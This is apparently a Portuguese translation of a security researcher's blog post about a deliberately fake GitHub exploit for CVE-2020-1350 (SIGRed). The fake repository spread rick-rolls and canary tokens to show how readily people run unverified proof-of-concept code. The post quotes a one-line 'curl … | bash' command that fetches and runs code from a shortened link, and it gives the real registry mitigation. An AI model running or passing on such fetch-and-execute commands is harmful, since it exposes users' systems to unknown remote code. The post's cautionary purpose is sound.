O dia em que trollei a Internet inteira: um projeto de pesquisa acidental no CVE-2020-1350

Views: 490
0 0
Read Time:6 Minute, 56 Second

Antes de mergulharmos na pesquisa real, eis o que realmente aconteceu para aqueles que não viram a precipitação, a menos que você esteja no espaço de segurança e familiarizado com o que aconteceu nas últimas 36 horas, provavelmente não fará muito sentido rapidamente.

  1. A Microsoft tem uma falha crítica no servidor DNS que resultou em um CVSS 10, CVE-2020-1350 é uma vulnerabilidade real publicada: 
    https://nvd.nist.gov/vuln/detail/CVE-2020-1350 É uma marca nova vulnerabilidade, portanto, as pessoas estariam interessadas em uma prova de conceito.
  2. Uma empresa de segurança publica as informações – nenhuma exploração pública disponível no momento da publicação deste blog, um elogio rápido para a equipe da Checkpoint Research que encontrou a vulnerabilidade original e publicou uma excelente redação que pode ser encontrada aqui.
  3. Eu criei uma exploração falsa no GitHub minutos após a publicação da postagem original no blog – fazendo uma brincadeira com hackers e outras empresas de segurança pegando e publicando em feeds de inteligência de ameaças. Inicialmente, o código era apenas um script bash e adicionei um binário carregado com tokens canários para rastrear quem estava executando o script. Se alguém estiver interessado, o Thinkst tem um ótimo blog sobre como funcionam os tokens canários que podem ser encontrados aqui.
  4. Muitas pessoas executaram o código ou ajudaram a espalhar a existência da exploração falsa, as pessoas executaram o código da “prova de conceito” sem lê-lo primeiro e foram enganados. Se eu tivesse sido malicioso, poderia ter feito algo muito pior do que rick-rolling.
  5. O repositório também contém uma correção real para a vulnerabilidade. Que pode ser encontrado aqui:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS

Este é um troll particularmente “divertido”, porque o tipo de pessoa que acompanha os CVEs e procura explorações de prova de conceito deve realmente saber melhor do que executar código aleatório, que acabou de sair do GitHub sem verificar o que faz. É óbvio, com o exame mais superficial do código no repositório, que você não deve executá-lo, o exploit.sh contém: 

curl -L https://bit.ly/3exifav | bash 

O código no repositório é carregado com tokens canários e apenas trolling geral, a lista de arquivos abaixo detalha o que cada coisa é e o que faz.

  • CVE-2020-1350.exe – Binário benigno que abre o token rick roll e pings canary
  • Fix.bat – arquivo em lotes que aplica a correção da Microsoft
  • LICENÇA – O arquivo de licença também não faz nada
  • PoC.exe – binário benigno que abre o cmd.exe e, além disso, pings token canary
  • README.md – detalha o README do repositório
  • README.pdf – Pings um token de canário, também um documento benigno
  • exploit.sh – Rick rola com casca, também benigno
  • windows-exploit.ps1 – Rick rola no shell, também benigno

O CVE-2020-1350.exe não executa nenhuma exploração ou atividade maliciosa. Da mesma forma, o PoC.exe também é um binário benigno que abre o cmd.exe e, além disso, envia um token de canário. Para obter mais detalhes sobre como o CVE-2020-1350.exe pode ser encontrado abaixo, o Zoomer também publicou a fonte no binário.

As únicas ações executadas por este código são as seguintes:

  • No lançamento, uma solicitação HTTP GET é enviada para um CanaryToken do CanaryTokens.org da thinkst . Mais informações
  • A GUI contém um único rótulo, caixa de texto e botão.
  • A caixa de texto destina-se a um IP e é rotulada como tal

Quando o botão enviar é pressionado, a entrada é verificada quanto a um IP válido.

  • Se a entrada for válida, uma segunda verificação será realizada para verificar se a entrada é 127.0.0.1
  • Se a entrada for 127.0.0.1, uma mensagem de erro será exibida, ridicularizando você por direcionar a si mesmo e, em seguida, continuará independentemente da seleção Sim / Não.
  • Se a entrada NÃO for 127.0.0.1, nenhum alerta será exibido.
  • Se a entrada não for válida, o campo de entrada é limpo e um alerta é exibido informando que a entrada não era um IP válido.

Depois que a validação é aprovada, o script inicia o Internet Explorer no modo ‘quiosque’, apontando para uma versão Kermit the Frong do lendário sucesso de Rick Astley, Never Gonna Give You Up .

Então, retroceda por um segundo, alguns de vocês podem estar pensando que WTF é isso? Posso ter hax? Desculpe pessoal, quem está atrás do hax é apenas uma parte da análise de por que o pessoal não parece entender o básico de

Por que você não deve executar o código cegamente.

O código em questão pode ser encontrado aqui:

ZephrFish / CVE-2020-1350Script Bash Proof-of-Concept (PoC) para explorar SIGRed (CVE-2020-1350). Consegue o administrador de domínio em controladores de domínio executando o Windows Server 2000 até o Windows Server 2019. – ZephrFish / CVE-2020-1350 ZephrFishGitHub

É um projeto interessante para mapear algumas coisas:

  • Quantas pessoas confiam cegamente no que leem na internet, em que ano são as pessoas em 2020? Rick Rolling ainda vivo …
  • É uma ótima maneira de capturar ameaças internas! 
  • A quantidade de feeds de TI que apenas rastreiam coisas sem validação e enviam links
  • Quão bonita é a Internet quando as pessoas pegam algo e correm com ela?

0x0 Quantas pessoas confiam cegamente no que lêem na internet?

Isso começou como um troll, mas rapidamente se transformou em um projeto de pesquisa que reuniu tração significativa em um espaço de tempo muito curto. Mostra que as pessoas executam as coisas sem verificar o que realmente fazem.

0x1 É uma ótima maneira de capturar ameaças internas! 

No total, no momento da publicação, os tokens canários capturaram cinco instâncias separadas de possíveis ameaças internas e recebi mensagens para agradecer :-).

0x2 A quantidade de ameaças da Intel que rastreiam cegamente …

O PoC foi escolhido pelos feeds da TI e foi transmitido em vários feeds da TI rapidamente:

Desde então, os dois ocuparam as postagens, mas foi adorável ver, Vulcan apareceu e admitiu que tinha sido apressado:

Dica rápida do chapéu para a TinkerSec também para seu PoC:

O CERT francês oficial pegou e correu com ele! 

Cronograma de Eventos

2020-07-14 20:00 GMT + 1: postagem original do blog criada por checkpoint 
2020-07-14 20:04 GMT + 1: Repositório PoC criado pela primeira vez 
2020-07-14 20:09 GMT + 1: PoC Tweeted from https : //twitter.com/CVE20201350/status/1283116416191934467
2020-07-14 20:33 GMT + 1: primeiro retweet do vuln 
2020-07-14 20:48 GMT + 1: link PoC atinge o vulnmon TI feed 
2020-07 -14 21:06 GMT + 1: primeiro token de canário atingido pela IP localizado em Bruxelas 
2020-07-14 21:29 GMT + 1: Tweet começou a ganhar força 
2020-07-14 23:45 GMT + 1: PoC da TinkerSec publicado 
2020 -07-15 09:09 GMT + 1: Cert-IST postou False PoC 
2020-07-15 16:10 GMT + 1: Esta postagem do blog postou 🙂 
2020-07-16 01:50 GMT + 1: Estatísticas atualizadas

0x3 Quão bonita é a Internet quando as pessoas pegam algo e correm com ela?

No momento da publicação, os tokens canários dispararam mais de 1000 vezes, o repositório recebeu mais de ~ 70k visualizações, o tweet original também está próximo de 420k impressões. Atualizarei este post com mais análises após alguns dias de coleta de locais de incêndios em canários!

Este blog recebeu cerca de ~ 500 mil acessos nas últimas 24 horas (18/07 2020 – 00:20 GMT + 1). 

O SANS também mencionou os dois PoCs em seu webcast, viu o código e o revisou como falso, como pode ser visto abaixo:

Se você quiser ver as maravilhas e assinaturas que os fornecedores de antivírus fizeram para os binários, elas podem ser vistas abaixo:

https://www.virustotal.com/gui/file/9e6da40db7c7f9d5ba679e7439f03ef6aacee9c34f9a3f686d02af34543f2e75/detection

O PoC.exe também está limpo:

O tópico do tweet abaixo mostra algumas das lições aprendidas! 

FONTE: ZEROSEC

POSTS RELACIONADOS